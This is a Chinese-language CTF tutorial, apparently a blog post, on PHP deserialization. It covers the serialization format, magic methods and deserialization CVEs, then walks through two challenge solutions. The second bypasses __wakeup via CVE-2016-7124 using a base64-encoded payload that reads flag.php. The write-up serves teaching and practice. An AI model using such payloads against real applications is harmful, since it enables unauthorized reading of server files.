CTF竞赛 | PHP反序列化基础
原创 betaseclabs 贝塔安全实验室 1周前
通过序列化与反序列化我们可以很方便的在PHP中传递对象,下面小编给大家介绍反序列化的原理和一些常见的利用方式。
01
序列化和反序列化概述
(1)序列化和反序列化:
序列化:将对象的状态信息转换成可存储或者传输的形式过程;
反序列化:将可存储或者传输的形式过程恢复为对象的过程;
存储形式:二进制、XML、JSON
(2)常见反序列化漏洞:
Weblogic: CVE-2018-2893、CVE-2018-2628、CVE-2017-10271
Jboss: CVE-2017-12149、CVE-2017-7504
Jenkins:CVE-2017-1000353、CVE-2016-0792
NODE.JS CVE-2017-5941
(3) 访问控制修饰符
根据访问控制修饰符的不同序列化后的属性长度和属性值会有所不同:
public:公有;
protected:受保护的,被序列化的时候属性值会变成:%00*%00属性名;
private:私有的,属性被序列化的时候属性值会变成:%00类名%00属性名;
序列化示例
<?php
class test{
private $flag = "flag{this-is-flag}";
public $a = "snail";
static $b = "beta";
}
$test = new test; //建立一个test的对象;
$data = serialize($test); //将对象进行序列化;
echo $data;
?>
各个字段的解释如下所示:
O:#指Object(对象)
4:#代表对象的名称有4个字符,如test包含4个字符;
test:#表示test对象;
2:#表示2个属性值;
s:#表示字符串;
10:#表示属性名长度;
testflag: #表示属性名;
s:18:“flag(this-is-flag)” #字符串,属性值长度,属性值;
反序列化示例
<?php
class test{
private $flag = "flag{this-is-flag}";
public $a = "snail";
static $b = "beta";
}
$test = new test; //建立一个test的对象;
$data = serialize($test); //将对象进行序列化;
$undata = unserialize($data);
var_dump($undata);
?>
02
反序列化中常用的魔术函数
在利用对PHP反序列化进行利用时,经常需要通过反序列化中的魔术方法,检查方法里有无敏感操作来进行利用。下面列举了序列化与反序列化过程中常用的几个魔术函数:
__construct() #当一个对象创建时触发
__destruct() #当一个对象被销毁时触发
__toString() #把类当作字符串使用时触发
__call() #在对象上下文中调用不可访问的方法时触发
__callStatic() #在静态上下文中调用不可访问的方法时触发
__get() #用于从不可访问的属性读取数据时
__set() #用于将数据写入不可访问的属性
__wakeup() #使用unserialize时触发 ,unserialize() 会检查是否存在一个 __wakeup() 方法。
__sleep() #使用serialize时触发,serialize() 函数会检查类中是否存在一个魔术方法 __sleep()。
__isset() #在不可访问的属性上调用isset()或empty()触发
__unset() #在不可访问的属性上使用unset()时触发
__invoke() #当脚本尝试将对象调用为函数时触发
__autoload() #尝试加载未定义的类时触发
__clone() #当对象复制完成时触发
03
小试牛刀
D0g3平台上一道简单的反序列化的题,通过GET请求方式读取str内容,并进行反序列化等于$KEY就可以获取flag内容了。题目代码如下所示:
<?php
error_reporting(0);
include "flag.php";
$KEY = "D0g3!!!";
$str = $_GET['str'];
if (unserialize($str) === "$KEY") {
echo "$flag";
}
show_source(__FILE__);
通过本地生成序列化字符串
<?php
class test{
protected $a = "D0g3!!!";
}
$test = new test; //建立一个test的对象;
$data = serialize($test); //将对象进行序列化;
echo $data;
?>
payload:http://127.0.0.1/web/web1/unserialize.php?str=s:7:“D0g3!!!”;
04
菜鸟进阶
如下所示,为本道题的源码,通过 __destruct 方法中 show_source(dirname (FILE).’/’.$this ->file); 读取flag.php,构造序列化对象然后base64编码,经过unserialize将file设为flag.php,但是,进行反序列化之前会优先执行__wakeup()函数,将file设置成index.php。所以此处需要绕过__wakeup()函数。此处就要用到CVE-2016-7124漏洞,当序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行。
<?php
class SoFun{
protected $file='index.php';
function __destruct(){
if(!empty($this->file)) {
if(strchr($this-> file,"\\")===false && strchr($this->file, '/')===false)
show_source(dirname (__FILE__).'/'.$this ->file);
else
die('Wrong filename.');
}
}
function __wakeup(){
$this-> file='index.php';
}
public function __toString() { return '' ;
}
}
if (!isset($_GET['file'])){
show_source('index.php');
}
else{
$file=base64_decode($_GET['file']);
echo $file;
echo unserialize($file); } #<!--key in flag.php-->
通过本地生成序列化字符串
<?php
class SoFun{
protected $file = "flag.php";
}
$test = new SoFun; //建立一个test的对象;
$data = serialize($test); //将对象进行序列化;
echo $data;
?>
此处注意两点:
对象属性个数的值大于真实的属性个数;
s符号要进行大写;
转成base64编码,payload如下所示:
payload: Tzo1OiJTb0Z1biI6Mjp7Uzo3OiJcMDAqXDAwZmlsZSI7czo4OiJmbGFnLnBocCI7fQ==
https://mp.weixin.qq.com/s/XayyZSyt7bJpOg3su9Ks-A
https://mp.weixin.qq.com/s/XayyZSyt7bJpOg3su9Ks-A
https://mp.weixin.qq.com/s/XayyZSyt7bJpOg3su9Ks-A